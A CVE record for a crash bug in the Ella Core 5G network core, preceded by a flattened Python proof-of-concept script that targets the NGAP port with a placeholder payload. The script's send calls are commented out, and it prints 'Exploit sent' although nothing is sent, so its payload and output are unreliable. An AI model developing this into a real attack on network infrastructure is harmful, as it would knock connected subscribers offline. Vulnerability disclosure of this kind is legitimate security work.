CVE-2026-34761

import socket # Target Ella Core configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 38412 # Default NGAP port (SCTP), simulation only # Simulated NGAP Handover Failure Payload # Intended to trigger panic in Ella Core < 1.8.0 # In a real scenario, this requires valid ASN.1 encoded NGAP structure PAYLOAD = b"\x00\x0d\x40" + b"A" * 100 def send_exploit(): try: print(f"[*] Sending malicious NGAP Handover Failure message to {TARGET_IP}:{TARGET_PORT}...") # Note: Real NGAP runs over SCTP. This is a TCP/UDP simulation for concept demonstration. # Actual exploitation requires crafting valid ASN.1 PER encoded NGAP messages. # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) # sock.send(PAYLOAD) # sock.close() print("[+] Exploit sent. If successful, Ella Core should panic.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-34761", "sourceIdentifier": "[email protected]", "published": "2026-04-02T20:16:25.747", "lastModified": "2026-04-07T16:51:35.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ella Core is a 5G core designed for private networks. Prior to version 1.8.0, Ella Core panics when processing a NGAP handover failure message. An attacker able to cause a gNodeB to send NGAP handover failure messages to Ella Core can crash the process, causing service disruption for all connected subscribers. This issue has been patched in version 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ellanetworks:ella_core:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.0", "matchCriteriaId": "F79EF764-4DAE-481E-9B49-974F342B1860"}]}]}], "references": [{"url": "https://github.com/ellanetworks/core/releases/tag/v1.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ellanetworks/core/security/advisories/GHSA-6gm8-3g4h-w82m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}